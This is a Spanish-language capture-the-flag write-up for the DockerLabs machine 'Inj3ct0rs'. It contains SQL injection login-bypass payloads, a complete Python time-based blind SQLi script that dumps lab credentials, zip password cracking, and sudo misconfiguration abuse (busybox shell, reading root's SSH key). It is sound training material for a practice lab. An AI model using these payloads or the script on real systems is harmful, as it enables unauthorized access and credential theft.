> For the complete documentation index, see [llms.txt](https://wolder-hackverse.gitbook.io/wolders-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wolder-hackverse.gitbook.io/wolders-docs/writeups/dockerlabs/medium/inj3ct0rs.md). # Inj3ct0rs ## Box Info
## Introducción Este writeup documenta la resolución de la máquina **Inj3ct0rs** de DockerLabs. El objetivo principal consiste en obtener acceso al sistema y escalar privilegios hasta usuario root, explotando diferentes fallos de seguridad encadenados. Durante la resolución se aplican técnicas como enumeración de servicios, SQL Injection basada en tiempo, cracking de archivos comprimidos y abuso de configuraciones incorrectas de sudo. > 💬 Esta máquina me ha encantado por lo bien que encadena las distintas fases de explotación y la variedad de técnicas que incluye. Sin duda, la recomendaría para practicar y reforzar conceptos de hacking web y escalada de privilegios en Linux. ## Reconocimiento ### Escaneo de puertos con nmap Se realizó un escaneo de todos los puertos con el siguiente comando: ```bash nmap -p- -sS --min-rate 5000 -vvv -Pn -n 172.17.0.2 -oG allPorts ``` Donde: * -p- -> escanea todos los puertos * -sS -> escaneo SYN (stealth) * \--min-rate 5000 → acelera el escaneo * -Pn -> omite el ping previo * -n -> evita resolución DNS * -oG -> guarda el resultado en formato grepeable Resultados obtenidos: * 22/tcp -> SSH * 80/tcp -> HTTP Una vez identificados los puertos abiertos, se realiza un escaneo más específico para obtener información detallada de los servicios y versiones: ```bash nmap -p22,80 -sCV 172.17.0.2 -oN targeted ``` Donde: * -p22,80 -> escanea únicamente los puertos abiertos previamente detectados * -sC -> ejecuta scripts por defecto de NSE (Nmap Scripting Engine) * -sV -> detecta versiones de los servicios * -oN -> guarda el resultado en formato normal Este escaneo permite identificar posibles configuraciones inseguras o vulnerabilidades conocidas en los servicios expuestos. Adjunto captura del resultado:
Resultados relevantes: * 22/tcp -> OpenSSH (9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)) * 80/tcp -> Apache/HTTP (Apache httpd 2.4.58 ((Ubuntu))) Con esta información, se decide centrar el análisis en el servicio web, ya que puede ofrecer un mayor vector de ataque y en la versión del servicio ssh no se encuentran vulnerabilidades. ## Enumeración Web ### Reconocimiento inicial Se accede al servicio web a través del navegador en . La página principal muestra un portal llamado "Inj3ct0rs", orientado a retos de seguridad informática. En el contenido se hace referencia explícita a desafíos de: * SQL Injection * Vulnerabilidades web * Criptografía * Escalada de privilegios Además, se observan opciones de **inicio de sesión** y **registro**, lo que indica la presencia de un sistema de autenticación.

Imagen página principal

Dado el contexto del sitio y las pistas proporcionadas, es probable que existan vulnerabilidades relacionadas con inyección SQL en el proceso de login, por lo que este punto se considera un vector de ataque potencial. Así que se procede a probar el comportamiento del formulario de login en busca de posibles vulnerabilidades de inyección. *** ## Explotación web ### Identificación de SQL Injection Se comienza probando el comportamiento del formulario de login introduciendo una comilla simple (`'`) en el campo de usuario. Al hacerlo, el servidor devuelve un error, lo que indica que la entrada del usuario no está siendo correctamente sanitizada y que probablemente se esté insertando directamente en una consulta SQL.
Este comportamiento sugiere la posible existencia de una vulnerabilidad de **SQL Injection**. *** #### Bypass de autenticación A partir de este indicio, se prueba a manipular la consulta SQL para evadir la autenticación. Para ello, se utiliza un payload que permite comentar el resto de la query: ```bash ' -- - ``` o también se puede usar ```bash ' or 1=1-- - ``` Al introducir este payload, se consigue acceder al sistema como el usuario **admin**, lo que confirma la vulnerabilidad.
Esto ocurre porque la condición `OR 1=1` siempre se evalúa como verdadera, lo que hace que la autenticación sea ignorada. Además, el uso del comentario SQL (`-- -`) provoca que el resto de la consulta, incluida la verificación de la contraseña, quede anulada. De esta forma, la consulta se simplifica a una condición siempre verdadera, permitiendo el acceso como el usuario objetivo sin necesidad de credenciales válidas. *** #### Identificación del tipo de SQL Injection Una vez confirmado el SQL Injection, se procede a determinar el tipo de inyección que puede explotarse para extraer información. Se realizan pruebas basadas en tiempo utilizando el payload: `' AND SLEEP(5)-- -` Al enviar este payload, se observa que la respuesta del servidor tarda aproximadamente 5 segundos, lo que indica que la consulta está siendo ejecutada correctamente. Esto confirma que la aplicación es vulnerable a **SQL Injection basada en tiempo (Time-Based Blind SQLi)**. *** ### Explotación de SQL Injection basada en tiempo Una vez confirmada la vulnerabilidad de SQL Injection basada en tiempo, se desarrolla un script en Python para automatizar la extracción de información de la base de datos. El objetivo del script es realizar inferencias carácter por carácter, basándose en el tiempo de respuesta del servidor mediante la función `SLEEP()`. Tras ejecutar el script, se obtiene la siguiente información sensible: ```bash python3 sqli.py [v] SQLI BASED ON TIME: Iniciando ataque de inyección SQL [-] Datos extraídos: root:loveyou, jane:chicago123, admin:password, ralf:no_mirar_en_este_directorio, test:test ``` El siguiente script fue desarrollado para automatizar la extracción de usuarios y contraseñas mediante SQL Injection basada en tiempo: ```python #!/usr/bin/env python3 # Exploit de sql injection based on time ---- # dockerlabs -> Inj3ct0rs from pwn import * import sys, requests, time, signal, string def def_handler(sig, frame): print("\n\n[!] Saliendo...\n") sys.exit(1) # Ctrl + C signal.signal(signal.SIGINT, def_handler) main_url = "http://172.17.0.2/content_pages_hidden/db.php" characters = string.ascii_lowercase + string.digits + ":,_-." headers = { 'Content-Type': 'application/x-www-form-urlencoded' } def sqli(): #----------------- # Resultado: # #----------------- p = log.progress("SQLI BASED ON TIME: \n") p.status("Iniciando ataque de inyección SQL") time.sleep(2) p2 = log.progress("Datos extraídos") data = "" database = "injectors_db" tabla = "users" for position in range(1, 2000): for character in characters: data_post = { 'username': "admin' and if(substr((select group_concat(username, 0x3a, password) from users),%d,1)='%s',sleep(0.85),1) -- -" % (position, character), 'password': 'admin' } time_start = time.time() r = requests.post(main_url, headers=headers, data=data_post) time_end = time.time() if time_end - time_start > 0.85: data +=character p2.status(data) break p.success("Inyección SQL completada exitosamente") p2.success(data) if __name__ == '__main__': sqli() ``` El payload final ha sido ajustado durante el proceso de reconocimiento previo, refinando la consulta hasta permitir la extracción completa de la información deseada mediante `GROUP_CONCAT(username, 0x3a, password)` *** ## Explotación credenciales #### Análisis de credenciales obtenidas A partir de la información extraída mediante SQL Injection, se obtienen los siguientes usuarios y contraseñas: ``` root:loveyou jane:chicago123 admin:password ralf:no_mirar_en_este_directorio ``` Se intenta realizar acceso por SSH utilizando estas credenciales, pero no se obtiene éxito en ninguno de los casos. ### Descubrimiento directorio oculto Llama la atención el valor del usuario `ralf`, ya que la contraseña parece hacer referencia a un posible directorio del sistema: `no_mirar_en_este_directorio` Al probar esta cadena como ruta en el navegador: ``` http://172.17.0.2/no_mirar_en_este_directorio/ ``` se descubre un directorio accesible desde el servicio web que contiene un archivo comprimido `secret.zip`.
### Extracción de información del ZIP El archivo `secret.zip` se encuentra protegido por contraseña, por lo que se procede a su análisis para intentar recuperar la clave de acceso. En primer lugar, se utiliza la herramienta `zip2john` para extraer el hash del archivo comprimido: ```bash zip2john secret.zip > zip_hash.txt ``` Una vez obtenido el hash, se realiza un ataque de fuerza bruta utilizando `john` con el diccionario `rockyou.txt`: ```bash john -w:/usr/share/wordlists/rockyou.txt zip_hash.txt ``` El ataque es exitoso y se obtiene la contraseña del archivo ZIP:
Se extrae la información del archivo zip con la contraseña computer. ```bash 7z x secret.zip 7-Zip 26.00 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-02-12 64-bit locale=es_ES.UTF-8 Threads:8 OPEN_MAX:1024, ASM Scanning the drive for archives: 1 file, 330 bytes (1 KiB) Extracting archive: secret.zip -- Path = secret.zip Type = zip Physical Size = 330 Enter password:computer Everything is Ok Size: 177 Compressed: 330 ``` Una vez extraído el contenido, se obtiene un archivo `confidential.txt` que contiene información sensible. Al revisar el contenido del archivo, se identifican credenciales de acceso válidas:
Estas credenciales corresponden a un usuario del sistema y permiten el acceso inicial mediante SSH. *** ## Acceso inicial por SSH (ralf) El acceso al sistema mediante SSH es exitoso utilizando las credenciales obtenidas previamente.
Una vez dentro del sistema, se inicia el proceso de reconocimiento para identificar posibles vías de escalada de privilegios. ### Enumeración de privilegios sudo Durante la enumeración del usuario actual, se revisan los permisos de sudo y se identifica una configuración interesante: ```bash sudo -l ``` Se observa que el usuario tiene permisos para ejecutar un binario específico como el usuario `capa` sin necesidad de contraseña: ```bash (capa) NOPASSWD: /usr/local/bin/busybox /nothing/* ``` Esto representa una posible vía de escalada de privilegios, ya que permite la ejecución de `busybox` con privilegios de otro usuario sin autenticación. ### Escalada de privilegios usuario capa Dado que `busybox` incluye múltiples utilidades del sistema, se revisa su comportamiento en GTFOBins, donde se observa que puede ser abusado para la ejecución de una shell. Se ejecuta el siguiente comando para obtener una shell como el usuario `capa`: ```bash sudo -u capa /usr/local/bin/busybox /nothing/ash ``` Este comando invoca `busybox` con privilegios del usuario `capa`, aprovechando la capacidad del binario para ejecutar una shell interna (`sh`). #### Resultado Se obtiene una shell como el usuario `capa`:
Esto confirma la escalada de privilegios exitosa desde el usuario inicial hacia `capa`. #### Referencia (GTFOBins) Según GTFOBins, `busybox` puede ser explotado para ejecución de shell y lectura/escritura de archivos cuando es ejecutado con privilegios elevados, debido a que hereda funcionalidades de `ash`. ### Escalada final a root Una vez obtenida la sesión como el usuario `capa`, se continúa con la enumeración de privilegios mediante: ```bash sudo -l ``` Se observa que el usuario puede ejecutar el binario `/bin/cat` como cualquier usuario sin necesidad de contraseña: ```bash (ALL : ALL) NOPASSWD: /bin/cat ``` Esto permite leer archivos sensibles del sistema con privilegios de root. Aprovechando esta mala configuración, se procede a leer la clave privada SSH del usuario root: ```bash sudo -u root /bin/cat /root/.ssh/id_rsa ``` #### Resultado Se obtiene la clave privada SSH de root: ```bash -----BEGIN OPENSSH PRIVATE KEY----- ... -----END OPENSSH PRIVATE KEY----- ``` Esta clave permite autenticación directa como root en el sistema.
*** ### Conclusión El compromiso del sistema se logra mediante una cadena de ataques: 1. SQL Injection basada en tiempo 2. Exfiltración de credenciales 3. Descubrimiento de directorio oculto 4. Cracking de ZIP 5. Acceso SSH 6. Escalada vía sudo mal configurado 7. Root mediante abuso de cat ### Técnicas usadas * SQL Injection (Blind Time-Based) * Password Cracking (John the Ripper) * SSH Access * Linux Privilege Escalation * Sudo Misconfiguration